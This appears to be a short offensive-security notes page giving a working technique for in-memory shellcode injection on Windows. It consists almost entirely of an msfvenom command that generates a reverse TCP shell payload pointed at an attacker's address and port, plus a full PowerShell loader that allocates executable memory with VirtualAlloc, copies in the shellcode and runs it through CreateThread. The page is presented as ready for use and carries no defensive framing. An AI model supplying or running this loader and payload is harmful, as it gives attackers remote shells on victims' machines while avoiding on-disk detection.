githubEdit

In-Memory Injection with Powershell Script

1) Payload

msfvenom -p windows/shell_reverse_tcp LHOST=[IP] LPORT=[PORT] -f powershell -v sc

2) Script

# Import necessary functions from kernel32.dll and msvcrt.dll
$importCode = '
[DllImport("kernel32.dll", SetLastError=true)]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, UInt32 dwSize, UInt32 flAllocationType, UInt32 flProtect);

[DllImport("kernel32.dll", SetLastError=true)]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, UInt32 dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, UInt32 dwCreationFlags, IntPtr lpThreadId);

[DllImport("msvcrt.dll", SetLastError=false)]
public static extern IntPtr memset(IntPtr dest, int c, UInt32 count);
';

# Add the imported functions to the PowerShell session
$win32Functions = Add-Type -MemberDefinition $importCode -Name "Win32API" -Namespace "Win32" -PassThru;

# Define the shellcode (replace with actual shellcode)
[Byte[]] $shellcode = [PLACE YOUR SHELLCODE HERE];

# Allocate memory for the shellcode
$memSize = 0x1000;
if ($shellcode.Length -gt $memSize) { $memSize = $shellcode.Length };
$allocatedMemory = $win32Functions::VirtualAlloc([IntPtr]::Zero, $memSize, 0x3000, 0x40);

# Copy the shellcode into the allocated memory
for ($i = 0; $i -lt $shellcode.Length; $i++) {
    $win32Functions::memset($allocatedMemory + $i, $shellcode[$i], 1);
}

# Execute the shellcode in a new thread
$win32Functions::CreateThread([IntPtr]::Zero, 0, $allocatedMemory, [IntPtr]::Zero, 0, [IntPtr]::Zero);

# Keep the script running
# This part of the script ensures that the PowerShell process doesn't terminate immediately after the shellcode is executed.
# If the script exits too soon, the thread created to execute the shellcode might be terminated, stopping the shellcode.
# By keeping the script alive with an infinite loop and a sleep command, the shellcode has sufficient time to run.
while ($true) {
    Start-Sleep 60;
}

Alternate script: https://github.com/darkoperator/powershell_scripts/blob/master/ps_encoder.py

Last updated